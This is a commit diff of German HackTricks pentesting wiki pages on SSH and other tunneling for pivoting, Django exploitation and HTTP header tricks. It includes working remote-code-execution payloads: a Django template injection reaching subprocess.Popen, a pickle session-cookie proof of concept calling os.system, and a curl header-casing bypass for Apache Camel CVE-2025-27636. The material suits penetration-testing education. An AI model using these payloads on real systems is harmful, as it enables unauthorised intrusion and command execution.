mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src
This commit is contained in:
parent
4ff4c16aa7
commit
09af3cfa58
@ -43,7 +43,7 @@ ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in
|
||||
```
|
||||
### Port2Port
|
||||
|
||||
Lokaler Port --> Kompromittierter Host (SSH) --> Dritte_Box:Port
|
||||
Lokaler Port --> Kompromittierter Host (SSH) --> Third_box:Port
|
||||
```bash
|
||||
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
|
||||
#Example
|
||||
@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **Sicherheit – Terrapin-Angriff (CVE-2023-48795)**
|
||||
> Der Terrapin-Downgrade-Angriff von 2023 kann es einem Man-in-the-Middle ermöglichen, mit dem frühen SSH-Handshake zu manipulieren und Daten in **jeden weitergeleiteten Kanal** ( `-L`, `-R`, `-D` ) einzufügen. Stellen Sie sicher, dass sowohl der Client als auch der Server gepatcht sind (**OpenSSH ≥ 9.6/LibreSSH 6.7**) oder deaktivieren Sie ausdrücklich die verwundbaren Algorithmen `chacha20-poly1305@openssh.com` und `*-etm@openssh.com` in `sshd_config`/`ssh_config`, bevor Sie sich auf SSH-Tunnel verlassen. citeturn4search0
|
||||
> Der Terrapin-Downgrade-Angriff von 2023 kann es einem Man-in-the-Middle ermöglichen, mit dem frühen SSH-Handshake zu manipulieren und Daten in **jeden weitergeleiteten Kanal** ( `-L`, `-R`, `-D` ) einzufügen. Stellen Sie sicher, dass sowohl der Client als auch der Server gepatcht sind (**OpenSSH ≥ 9.6/LibreSSH 6.7**) oder deaktivieren Sie ausdrücklich die verwundbaren Algorithmen `chacha20-poly1305@openssh.com` und `*-etm@openssh.com` in `sshd_config`/`ssh_config`, bevor Sie sich auf SSH-Tunnel verlassen.
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
@ -156,7 +156,7 @@ rportfwd stop [bind port]
|
||||
```
|
||||
Zu beachten:
|
||||
|
||||
- Beacons Reverse-Port-Forwarding ist dafür ausgelegt, **Verkehr zum Team-Server zu tunneln, nicht um zwischen einzelnen Maschinen weiterzuleiten**.
|
||||
- Beacons Reverse-Port-Forward ist dafür ausgelegt, **Verkehr zum Team-Server zu tunneln, nicht um zwischen einzelnen Maschinen weiterzuleiten**.
|
||||
- Der Verkehr wird **innerhalb des C2-Verkehrs von Beacon getunnelt**, einschließlich P2P-Links.
|
||||
- **Admin-Rechte sind nicht erforderlich**, um Reverse-Port-Forwards auf hohen Ports zu erstellen.
|
||||
|
||||
@ -178,7 +178,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
|
||||
```
|
||||
## Chisel
|
||||
|
||||
Sie können es von der Veröffentlichungsseite von [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) herunterladen.\
|
||||
Sie können es von der Release-Seite von [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) herunterladen.\
|
||||
Sie müssen die **gleiche Version für Client und Server** verwenden.
|
||||
|
||||
### socks
|
||||
@ -326,7 +326,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
||||
|
||||
Es ist wie eine Konsolen-PuTTY-Version (die Optionen sind sehr ähnlich zu einem ssh-Client).
|
||||
|
||||
Da dieses Binary auf dem Opfer ausgeführt wird und es sich um einen ssh-Client handelt, müssen wir unseren ssh-Dienst und -Port öffnen, damit wir eine umgekehrte Verbindung herstellen können. Dann, um nur einen lokal zugänglichen Port auf einen Port in unserer Maschine weiterzuleiten:
|
||||
Da dieses Binary auf dem Opfer ausgeführt wird und es ein ssh-Client ist, müssen wir unseren ssh-Dienst und Port öffnen, damit wir eine umgekehrte Verbindung haben können. Dann, um nur einen lokal zugänglichen Port auf einen Port in unserer Maschine weiterzuleiten:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
@ -364,7 +364,7 @@ Jetzt können wir über **RDP** mit dem **Opfer** über **`mstsc.exe`** **verbin
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
Bestätigen Sie jetzt auf Ihrem Gerät (Angreifer), dass der Port 1080 lauscht:
|
||||
Bestätigen Sie nun auf Ihrem Gerät (Angreifer), dass der Port 1080 lauscht:
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
@ -387,7 +387,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Es authentifiziert sich gegen einen Proxy und bindet einen Port lokal, der an den externen Dienst weitergeleitet wird, den Sie angeben. Dann können Sie das Tool Ihrer Wahl über diesen Port verwenden.\
|
||||
Es authentifiziert sich gegen einen Proxy und bindet einen lokalen Port, der an den externen Dienst weitergeleitet wird, den Sie angeben. Dann können Sie das Tool Ihrer Wahl über diesen Port verwenden.\
|
||||
Zum Beispiel den weitergeleiteten Port 443
|
||||
```
|
||||
Username Alice
|
||||
@ -396,7 +396,7 @@ Domain CONTOSO.COM
|
||||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Jetzt, wenn Sie beispielsweise den **SSH**-Dienst beim Opfer auf Port 443 einstellen, können Sie sich über den Angreifer-Port 2222 damit verbinden.\
|
||||
Jetzt, wenn Sie beispielsweise den **SSH**-Dienst auf dem Opfer auf Port 443 einstellen, können Sie sich über den Angreifer-Port 2222 damit verbinden.\
|
||||
Sie könnten auch einen **meterpreter** verwenden, der sich mit localhost:443 verbindet und der Angreifer hört auf Port 2222.
|
||||
|
||||
## YARP
|
||||
@ -574,7 +574,7 @@ Starten Sie den Connector:
|
||||
```bash
|
||||
cloudflared tunnel run mytunnel
|
||||
```
|
||||
Weil der gesamte Verkehr den Host **ausgehend über 443** verlässt, sind Cloudflared-Tunnel eine einfache Möglichkeit, um Eingangs-ACLs oder NAT-Grenzen zu umgehen. Beachten Sie, dass die Binärdatei normalerweise mit erhöhten Rechten ausgeführt wird – verwenden Sie Container oder das `--user`-Flag, wenn möglich. citeturn1search0
|
||||
Weil der gesamte Verkehr den Host **ausgehend über 443** verlässt, sind Cloudflared-Tunnel eine einfache Möglichkeit, um Ingress-ACLs oder NAT-Grenzen zu umgehen. Beachten Sie, dass die Binärdatei normalerweise mit erhöhten Rechten ausgeführt wird – verwenden Sie Container oder das `--user`-Flag, wenn möglich.
|
||||
|
||||
## FRP (Fast Reverse Proxy)
|
||||
|
||||
@ -599,7 +599,7 @@ localIP = "127.0.0.1"
|
||||
localPort = 3389
|
||||
remotePort = 5000
|
||||
```
|
||||
### Verwendung des neuen SSH-Gateways (kein frpc-Binärdatei)
|
||||
### Verwendung des neuen SSH-Gateways (kein frpc-Binär)
|
||||
```bash
|
||||
# On frps (attacker)
|
||||
sshTunnelGateway.bindPort = 2200 # add to frps.toml
|
||||
@ -608,7 +608,7 @@ sshTunnelGateway.bindPort = 2200 # add to frps.toml
|
||||
# On victim (OpenSSH client only)
|
||||
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
|
||||
```
|
||||
Der obige Befehl veröffentlicht den Port des Opfers **8080** als **attacker_ip:9000**, ohne zusätzliche Werkzeuge bereitzustellen – ideal für Living-off-the-Land-Pivoting. citeturn2search1
|
||||
Der obige Befehl veröffentlicht den Port des Opfers **8080** als **attacker_ip:9000**, ohne zusätzliche Werkzeuge bereitzustellen – ideal für Living-off-the-Land-Pivoting.
|
||||
|
||||
## Andere Werkzeuge zur Überprüfung
|
||||
|
||||
|
@ -3,10 +3,77 @@
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Cache-Manipulation zu RCE
|
||||
Die standardmäßige Cache-Speichermethode von Django sind [Python-Pickles](https://docs.python.org/3/library/pickle.html), was zu RCE führen kann, wenn [nicht vertrauenswürdige Eingaben unpickled werden](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Wenn ein Angreifer Schreibzugriff auf den Cache erlangen kann, kann er diese Schwachstelle zu RCE auf dem zugrunde liegenden Server eskalieren**.
|
||||
Die standardmäßige Cache-Speichermethode von Django sind [Python-Pickles](https://docs.python.org/3/library/pickle.html), was zu RCE führen kann, wenn [nicht vertrauenswürdige Eingaben entpickelt werden](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Wenn ein Angreifer Schreibzugriff auf den Cache erlangen kann, kann er diese Schwachstelle zu RCE auf dem zugrunde liegenden Server eskalieren**.
|
||||
|
||||
Der Django-Cache wird an einem von vier Orten gespeichert: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [Speicher](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [Dateien](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) oder eine [Datenbank](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Caches, die in einem Redis-Server oder einer Datenbank gespeichert sind, sind die wahrscheinlichsten Angriffsvektoren (Redis-Injection und SQL-Injection), aber ein Angreifer könnte auch in der Lage sein, den dateibasierten Cache zu nutzen, um einen beliebigen Schreibvorgang in RCE umzuwandeln. Die Maintainer haben dies als kein Problem eingestuft. Es ist wichtig zu beachten, dass der Cache-Dateiordner, der SQL-Tabellenname und die Details des Redis-Servers je nach Implementierung variieren.
|
||||
|
||||
Dieser HackerOne-Bericht bietet ein großartiges, reproduzierbares Beispiel für die Ausnutzung des Django-Caches, der in einer SQLite-Datenbank gespeichert ist: https://hackerone.com/reports/1415436
|
||||
|
||||
---
|
||||
|
||||
## Server-Side Template Injection (SSTI)
|
||||
Die Django-Template-Sprache (DTL) ist **turing-vollständig**. Wenn vom Benutzer bereitgestellte Daten als *Template-String* gerendert werden (zum Beispiel durch den Aufruf von `Template(user_input).render()` oder wenn `|safe`/`format_html()` das automatische Escaping entfernt), kann ein Angreifer vollständige SSTI → RCE erreichen.
|
||||
|
||||
### Erkennung
|
||||
1. Suchen Sie nach dynamischen Aufrufen von `Template()` / `Engine.from_string()` / `render_to_string()`, die *irgendwelche* unsanierten Anforderungsdaten enthalten.
|
||||
2. Senden Sie eine zeitbasierte oder arithmetische Payload:
|
||||
```django
|
||||
{{7*7}}
|
||||
```
|
||||
Wenn die gerenderte Ausgabe `49` enthält, wird die Eingabe vom Template-Engine kompiliert.
|
||||
|
||||
### Primitive zu RCE
|
||||
Django blockiert den direkten Zugriff auf `__import__`, aber der Python-Objektgraph ist erreichbar:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()}}
|
||||
```
|
||||
Finde den Index von `subprocess.Popen` (≈400–500 je nach Python-Build) und führe beliebige Befehle aus:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||||
```
|
||||
Ein sicherer universeller Gadget ist, bis `cls.__name__ == 'Popen'` zu iterieren.
|
||||
|
||||
Dasselbe Gadget funktioniert für **Debug Toolbar** oder **Django-CMS** Template-Rendering-Funktionen, die Benutzereingaben falsch behandeln.
|
||||
|
||||
---
|
||||
|
||||
## Pickle-Backed Session Cookie RCE
|
||||
Wenn die Einstellung `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` aktiviert ist (oder ein benutzerdefinierter Serializer, der Pickle deserialisiert), *entschlüsselt und entpickelt* Django das Sitzungscookie **bevor** irgendein View-Code aufgerufen wird. Daher reicht es aus, einen gültigen Signaturschlüssel (den Projekt `SECRET_KEY` standardmäßig) zu besitzen, um sofortige Remote-Code-Ausführung zu ermöglichen.
|
||||
|
||||
### Exploit-Anforderungen
|
||||
* Der Server verwendet `PickleSerializer`.
|
||||
* Der Angreifer kennt / kann `settings.SECRET_KEY` erraten (Lecks über GitHub, `.env`, Fehlerseiten usw.).
|
||||
|
||||
### Proof-of-Concept
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from django.contrib.sessions.serializers import PickleSerializer
|
||||
from django.core import signing
|
||||
import os, base64
|
||||
|
||||
class RCE(object):
|
||||
def __reduce__(self):
|
||||
return (os.system, ("id > /tmp/pwned",))
|
||||
|
||||
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
|
||||
print(f"sessionid={mal}")
|
||||
```
|
||||
Senden Sie das resultierende Cookie, und die Payload wird mit den Berechtigungen des WSGI-Workers ausgeführt.
|
||||
|
||||
**Minderungen**: Behalten Sie den Standard `JSONSerializer`, rotieren Sie `SECRET_KEY` und konfigurieren Sie `SESSION_COOKIE_HTTPONLY`.
|
||||
|
||||
---
|
||||
|
||||
## Aktuelle (2023-2025) Hochrisiko-Django-CVEs, die Pentester überprüfen sollten
|
||||
* **CVE-2025-48432** – *Protokollinjektion über nicht escaped `request.path`* (behoben am 4. Juni 2025). Ermöglicht Angreifern, Zeilenumbrüche/ANSI-Codes in Protokolldateien zu schmuggeln und die nachgelagerte Protokollanalyse zu vergiften. Patch-Level ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Kritische SQL-Injektion* in `QuerySet.values()/values_list()` auf `JSONField` (CVSS 9.8). Erstellen Sie JSON-Schlüssel, um aus der Anführungszeichen zu brechen und beliebige SQL-Befehle auszuführen. Behoben in 4.2.15 / 5.0.8.
|
||||
|
||||
Fingerabdruck immer die genaue Framework-Version über die `X-Frame-Options`-Fehlerseite oder den Hash von `/static/admin/css/base.css` und testen Sie die oben genannten, wo anwendbar.
|
||||
|
||||
---
|
||||
|
||||
## Referenzen
|
||||
* Django-Sicherheitsfreigabe – "Django 5.2.2, 5.1.10, 4.2.22 behebt CVE-2025-48432" – 4. Juni 2025.
|
||||
* OP-Innovate: "Django veröffentlicht Sicherheitsupdates zur Behebung der SQL-Injektionsanfälligkeit CVE-2024-42005" – 11. Aug. 2024.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -9,7 +9,7 @@
|
||||
|
||||
## Header zur Änderung des Standorts
|
||||
|
||||
Schreibe **IP-Quelle** um:
|
||||
Ändern Sie **IP-Quelle**:
|
||||
|
||||
- `X-Originating-IP: 127.0.0.1`
|
||||
- `X-Forwarded-For: 127.0.0.1`
|
||||
@ -28,14 +28,14 @@ Schreibe **IP-Quelle** um:
|
||||
- `Via: 1.0 fred, 1.1 127.0.0.1`
|
||||
- `Connection: close, X-Forwarded-For` (Überprüfen Sie die hop-by-hop Header)
|
||||
|
||||
Schreibe **Standort** um:
|
||||
Ändern Sie **Standort**:
|
||||
|
||||
- `X-Original-URL: /admin/console`
|
||||
- `X-Rewrite-URL: /admin/console`
|
||||
|
||||
## Hop-by-Hop Header
|
||||
|
||||
Ein hop-by-hop Header ist ein Header, der dafür ausgelegt ist, vom Proxy, der die Anfrage derzeit bearbeitet, verarbeitet und konsumiert zu werden, im Gegensatz zu einem End-to-End-Header.
|
||||
Ein hop-by-hop Header ist ein Header, der dafür ausgelegt ist, vom Proxy, der die Anfrage bearbeitet, verarbeitet und konsumiert zu werden, im Gegensatz zu einem End-to-End-Header.
|
||||
|
||||
- `Connection: close, X-Forwarded-For`
|
||||
|
||||
@ -74,7 +74,7 @@ Ein hop-by-hop Header ist ein Header, der dafür ausgelegt ist, vom Proxy, der d
|
||||
- `Pragma: no-cache` dasselbe wie `Cache-Control: no-cache`
|
||||
- `Warning`: Der **`Warning`** allgemeine HTTP-Header enthält Informationen über mögliche Probleme mit dem Status der Nachricht. Mehr als ein `Warning`-Header kann in einer Antwort erscheinen. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
|
||||
## Bedingte Anfragen
|
||||
## Bedingungen
|
||||
|
||||
- Anfragen, die diese Header verwenden: **`If-Modified-Since`** und **`If-Unmodified-Since`** werden nur mit Daten beantwortet, wenn der Antwortheader **`Last-Modified`** eine andere Zeit enthält.
|
||||
- Bedingte Anfragen, die **`If-Match`** und **`If-None-Match`** verwenden, nutzen einen Etag-Wert, sodass der Webserver den Inhalt der Antwort sendet, wenn sich die Daten (Etag) geändert haben. Der `Etag` wird aus der HTTP-Antwort entnommen.
|
||||
@ -84,22 +84,22 @@ Ein hop-by-hop Header ist ein Header, der dafür ausgelegt ist, vom Proxy, der d
|
||||
|
||||
- **`Accept-Ranges`**: Gibt an, ob der Server Bereichsanfragen unterstützt und, falls ja, in welcher Einheit der Bereich ausgedrückt werden kann. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: Gibt den Teil eines Dokuments an, den der Server zurückgeben soll. Zum Beispiel wird `Range:80-100` die Bytes 80 bis 100 der ursprünglichen Antwort mit einem Statuscode von 206 Partial Content zurückgeben. Denken Sie auch daran, den `Accept-Encoding`-Header aus der Anfrage zu entfernen.
|
||||
- Dies könnte nützlich sein, um eine Antwort mit beliebigem reflektiertem JavaScript-Code zu erhalten, der sonst möglicherweise entkommen könnte. Aber um dies auszunutzen, müssten Sie diese Header in die Anfrage injizieren.
|
||||
- Dies könnte nützlich sein, um eine Antwort mit beliebigem reflektiertem JavaScript-Code zu erhalten, der sonst möglicherweise entkommen könnte. Um dies auszunutzen, müssten Sie jedoch diese Header in die Anfrage injizieren.
|
||||
- **`If-Range`**: Erstellt eine bedingte Bereichsanfrage, die nur erfüllt wird, wenn der angegebene Etag oder das Datum mit der entfernten Ressource übereinstimmt. Wird verwendet, um das Herunterladen von zwei Bereichen aus inkompatiblen Versionen der Ressource zu verhindern.
|
||||
- **`Content-Range`**: Gibt an, wo in einer vollständigen Nachrichtenkörper eine partielle Nachricht gehört.
|
||||
- **`Content-Range`**: Gibt an, wo in einer vollständigen Nachrichtenkörpernachricht eine partielle Nachricht gehört.
|
||||
|
||||
## Informationen zum Nachrichtenkörper
|
||||
|
||||
- **`Content-Length`:** Die Größe der Ressource, in dezimalen Bytes.
|
||||
- **`Content-Type`**: Gibt den Medientyp der Ressource an
|
||||
- **`Content-Encoding`**: Wird verwendet, um den Komprimierungsalgorithmus anzugeben.
|
||||
- **`Content-Language`**: Beschreibt die menschliche Sprache(n), die für das Publikum bestimmt sind, sodass es einem Benutzer ermöglicht, entsprechend der bevorzugten Sprache des Benutzers zu unterscheiden.
|
||||
- **`Content-Language`**: Beschreibt die menschliche Sprache(n), die für das Publikum bestimmt sind, sodass es einem Benutzer ermöglicht, je nach bevorzugter Sprache des Benutzers zu unterscheiden.
|
||||
- **`Content-Location`**: Gibt einen alternativen Standort für die zurückgegebenen Daten an.
|
||||
|
||||
Aus der Sicht eines Pentests sind diese Informationen normalerweise "nutzlos", aber wenn die Ressource **geschützt** ist durch eine 401 oder 403 und Sie einen **Weg** finden können, um diese **Info** zu **erhalten**, könnte dies **interessant** sein.\
|
||||
Aus der Sicht eines Pentests sind diese Informationen normalerweise "nutzlos", aber wenn die Ressource **geschützt** ist durch einen 401 oder 403 und Sie einen **Weg** finden können, um diese **Info** zu **erhalten**, könnte dies **interessant** sein.\
|
||||
Zum Beispiel kann eine Kombination aus **`Range`** und **`Etag`** in einer HEAD-Anfrage den Inhalt der Seite über HEAD-Anfragen leaken:
|
||||
|
||||
- Eine Anfrage mit dem Header `Range: bytes=20-20` und mit einer Antwort, die `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` enthält, leakt, dass der SHA1 des Bytes 20 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` ist.
|
||||
- Eine Anfrage mit dem Header `Range: bytes=20-20` und einer Antwort, die `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` enthält, leakt, dass der SHA1 des Bytes 20 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` ist.
|
||||
|
||||
## Server-Info
|
||||
|
||||
@ -117,7 +117,7 @@ Zum Beispiel kann eine Kombination aus **`Range`** und **`Etag`** in einer HEAD-
|
||||
```
|
||||
Content-Disposition: attachment; filename="filename.jpg"
|
||||
```
|
||||
Das bedeutet, dass die Datei mit dem Namen "filename.jpg" zum Herunterladen und Speichern vorgesehen ist.
|
||||
Das bedeutet, dass die Datei mit dem Namen "filename.jpg" zum Herunterladen und Speichern bestimmt ist.
|
||||
|
||||
## Sicherheitsheader
|
||||
|
||||
@ -179,8 +179,43 @@ Zuletzt ist HSTS eine Sicherheitsfunktion, die Browser zwingt, nur über sichere
|
||||
```
|
||||
Strict-Transport-Security: max-age=3153600
|
||||
```
|
||||
## Header Name Casing Bypass
|
||||
|
||||
HTTP/1.1 definiert Headerfeldnamen als **groß-/kleinschreibungsempfindlich** (RFC 9110 §5.1). Dennoch ist es sehr häufig, benutzerdefinierte Middleware, Sicherheitsfilter oder Geschäftslogik zu finden, die den *wörtlichen* Headernamen vergleicht, ohne die Groß-/Kleinschreibung zuerst zu normalisieren (z. B. `header.equals("CamelExecCommandExecutable")`). Wenn diese Überprüfungen **groß-/kleinschreibungsempfindlich** durchgeführt werden, kann ein Angreifer sie einfach umgehen, indem er denselben Header mit einer anderen Großschreibung sendet.
|
||||
|
||||
Typische Situationen, in denen dieser Fehler auftritt:
|
||||
|
||||
* Benutzerdefinierte Erlauben/Verweigern-Listen, die versuchen, „gefährliche“ interne Header zu blockieren, bevor die Anfrage eine sensible Komponente erreicht.
|
||||
* Interne Implementierungen von Reverse-Proxy-Pseudo-Headern (z. B. `X-Forwarded-For` Sanitierung).
|
||||
* Frameworks, die Verwaltungs-/Debug-Endpunkte exponieren und sich auf Headernamen zur Authentifizierung oder Befehlsauswahl verlassen.
|
||||
|
||||
### Abusing the bypass
|
||||
|
||||
1. Identifizieren Sie einen Header, der serverseitig gefiltert oder validiert wird (zum Beispiel durch Lesen des Quellcodes, der Dokumentation oder von Fehlermeldungen).
|
||||
2. Senden Sie den **gleichen Header mit einer anderen Groß-/Kleinschreibung** (gemischte Groß- und Kleinschreibung oder Großbuchstaben). Da HTTP-Stacks Header normalerweise nur *nach* der Ausführung des Benutzercodes kanonisieren, kann die anfällige Überprüfung übersprungen werden.
|
||||
3. Wenn die nachgelagerte Komponente Header groß-/kleinschreibungsempfindlich behandelt (die meisten tun dies), akzeptiert sie den vom Angreifer kontrollierten Wert.
|
||||
|
||||
### Beispiel: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
|
||||
In anfälligen Versionen von Apache Camel versuchen die *Command Center*-Routen, untrusted Anfragen zu blockieren, indem sie die Header `CamelExecCommandExecutable` und `CamelExecCommandArgs` entfernen. Der Vergleich wurde mit `equals()` durchgeführt, sodass nur die genauen Kleinschreibnamen entfernt wurden.
|
||||
```bash
|
||||
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
||||
curl "http://<IP>/command-center" \
|
||||
-H "CAmelExecCommandExecutable: ls" \
|
||||
-H "CAmelExecCommandArgs: /"
|
||||
```
|
||||
Die Header erreichen die `exec`-Komponente ungefiltert, was zu einer Remote-Befehlsausführung mit den Rechten des Camel-Prozesses führt.
|
||||
|
||||
### Erkennung & Minderung
|
||||
|
||||
* Normalisieren Sie alle Header-Namen auf einen einheitlichen Fall (in der Regel Kleinbuchstaben) **bevor** Sie Erlauben/Verweigern-Vergleiche durchführen.
|
||||
* Verdächtige Duplikate ablehnen: Wenn sowohl `Header:` als auch `HeAdEr:` vorhanden sind, behandeln Sie dies als Anomalie.
|
||||
* Verwenden Sie eine positive Erlauben-Liste, die **nach** der Kanonisierung durchgesetzt wird.
|
||||
* Schützen Sie Verwaltungsendpunkte mit Authentifizierung und Netzwerksegmentierung.
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [CVE-2025-27636 – RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
|
||||
- [https://web.dev/security-headers/](https://web.dev/security-headers/)
|
||||
|
Loading…
x
Reference in New Issue
Block a user